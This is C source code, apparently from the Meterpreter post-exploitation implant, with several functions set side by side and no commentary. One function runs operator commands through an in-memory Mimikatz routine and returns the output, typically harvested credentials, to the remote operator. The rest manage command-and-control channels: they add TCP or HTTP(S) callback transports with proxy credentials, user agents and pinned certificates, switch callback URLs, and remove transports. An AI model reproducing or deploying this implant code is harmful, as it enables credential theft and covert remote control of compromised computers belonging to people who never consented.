/*! * @brief Handler for the generic command execution function. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_exec_cmd(Remote *remote, Packet *packet) { DWORD result = ERROR_SUCCESS; Packet * response = packet_create_response(packet); wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); if (cmd != NULL) { dprintf("[KIWI] Executing command: %S", cmd); // While this implies that powershell is in use, this is just a naming thing, // it's not actually using powershell. wchar_t* output = powershell_reflective_mimikatz(cmd); if (output != NULL) { packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); } else { result = ERROR_OUTOFMEMORY; } free(cmd); } else { result = ERROR_INVALID_PARAMETER; } dprintf("[KIWI] Dumped, transmitting response."); packet_transmit_response(result, remote, response); dprintf("[KIWI] Done."); return ERROR_SUCCESS; }
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; // make sure we are not trying to remove the last transport if (remote->transport == remote->transport->prev_transport) { dprintf("[DISPATCH] Refusing to delete the last transport"); result = ERROR_INVALID_FUNCTION; } else { Transport* found = NULL; Transport* transport = remote->transport; wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); do { if (wcscmp(transportUrl, transport->url) == 0) { found = transport; break; } transport = transport->next_transport; } while (transport != remote->transport); if (found == NULL || found == remote->transport) { dprintf("[DISPATCH] Transport not found, or attempting to remove current"); // if we don't have a valid transport, or they're trying to remove the // existing one, then bomb out (that might come later) result = ERROR_INVALID_PARAMETER; } else { remote->trans_remove(remote, found); dprintf("[DISPATCH] Transport removed"); } SAFE_FREE(transportUrl); } packet_transmit_empty_response(remote, packet, result); dprintf("[DISPATCH] Response sent."); return result; }
BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) { // this is a special case because we don't actually send // response to this. This is a brutal switch without any // other forms of comms, and this is because of stageless // payloads if (remote->transport->type == METERPRETER_TRANSPORT_SSL) { // This shouldn't happen. *result = ERROR_INVALID_STATE; } else { HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); *result = ERROR_SUCCESS; } return TRUE; }
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) { DWORD result = ERROR_NOT_ENOUGH_MEMORY; Transport* transport = NULL; wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); TimeoutSettings timeouts = { 0 }; int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // special case, will still leave this in here even if it's not transport related if (sessionExpiry != 0) { remote->sess_expiry_time = sessionExpiry; remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; } if (timeouts.comms == 0) { timeouts.comms = remote->transport->timeouts.comms; } if (timeouts.retry_total == 0) { timeouts.retry_total = remote->transport->timeouts.retry_total; } if (timeouts.retry_wait == 0) { timeouts.retry_wait = remote->transport->timeouts.retry_wait; } dprintf("[CHANGE TRANS] Url: %S", transportUrl); dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); do { if (transportUrl == NULL) { dprintf("[CHANGE TRANS] Something was NULL"); break; } if (wcsncmp(transportUrl, L"tcp", 3) == 0) { MetsrvTransportTcp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; memcpy(config.common.url, transportUrl, sizeof(config.common.url)); transport = remote->trans_create(remote, &config.common, NULL); } else { BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); MetsrvTransportHttp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; wcsncpy(config.common.url, transportUrl, URL_SIZE); if (proxy) { wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE); free(proxy); } if (proxyUser) { wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE); free(proxyUser); } if (proxyPass) { wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE); free(proxyPass); } if (ua) { wcsncpy(config.ua, ua, UA_SIZE); free(ua); } if (certHash) { memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE); // No need to free this up as it's not a wchar_t } transport = remote->trans_create(remote, &config.common, NULL); } // tell the server dispatch to exit, it should pick up the new transport result = ERROR_SUCCESS; } while (0); *transportBufer = transport; return result; }